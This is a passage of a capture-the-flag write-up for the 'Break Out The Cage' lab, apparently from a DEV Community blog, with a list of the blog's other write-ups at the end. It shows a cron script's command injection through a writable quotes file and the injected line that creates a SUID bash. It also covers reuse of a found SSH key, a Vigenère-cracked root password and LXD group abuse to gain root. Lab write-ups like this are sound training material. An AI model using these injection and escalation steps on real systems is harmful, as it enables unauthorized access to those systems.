After investigating /opt/.dads_scripts/spread_the_quotes.py, it turned out the script was concatenating a random quote with wall. It looked like this:

#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)

The script was picking a random quote from /opt/.dads_scripts/.files/.quotes and concatenating it directly with the wall command. That file with quotes was writable. Since os.system("wall " + quote) passes the string straight to the shell, the file was overwritten with a payload that copies /bin/bash to /tmp/bash and sets the SUID bit on it:

echo "&& cp /bin/bash /tmp/bash && chmod +s /tmp/bash" > .quotes

After the cronjob fired again:

A Cage-privileged shell was obtained by running:

/tmp/bash -p

However, this gives a process running with Cage's privileges via SUID, not a full interactive shell. To get a proper shell, instead of generating a new SSH key, an existing private key was found at /home/cage/.ssh/id_rsa. Copying it and using it to connect over SSH gave a full, stable shell as Cage.

Flag located at: /home/cage/Super_Duper_Checklist

Shell as root, Vigenère in email (intended path)

Inside /home/cage/email_backup/email_3 there was a suspicious encoded string.

First tried Caesar. No shift made sense. Tried Vigenère and it cracked with key FACE. The decoded string turned out to be the root password. Logged in with:

su root

Flag located at: /root/email_backup/email_2

Shell as root, LXD (alternative path)

Running id after logging in as Cage:

User cage is part of the lxd group, which gives full control over the lxd tool. This allows creating a container where you are root and mounting the host filesystem inside it (same concept as docker group abuse).

Transfer an Alpine Linux image to the machine (Alpine builder), then run:

lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
lxd init
lxc init alpine [NAME-HERE]

The lxc exploit is a bit tedious to do manually. Use this script, transfer it to the machine and run:

./lxd_rootv1.sh [NAME-HERE]

If everything worked, running:

sudo su

should drop into a root shell without asking for a password.

DEV Community: Laach_

Surfer - THM

Machine Info

Recon

Exploiting SSRF

CMesS - THM

Machine Info

Recon

Shell as www-data

Shell as Andre

Shell as Root

Intermediate Nmap - THM

Machine Info

Shell as Ubuntu

Easy Peasy - THM

Machine Info

Task 1

Question 1

Question 2

Question 3

Task 2

Question 1

Question 2

Question 3

Question 4

Question 5

Question 6

Question 7

Question 8

IDE - THM

Machine Info

Recon

Shell as www-data

Shell as drac

Shell as root

Bonus

1. Vulnerable Codiad

Break Out The Cage - THM

Machine Info

Recon

Shell as Weston

Shell as Cage

Shell as root, Vigenère in email (intended path)

Shell as root, LXD (alternative path)

Shell as `Weston`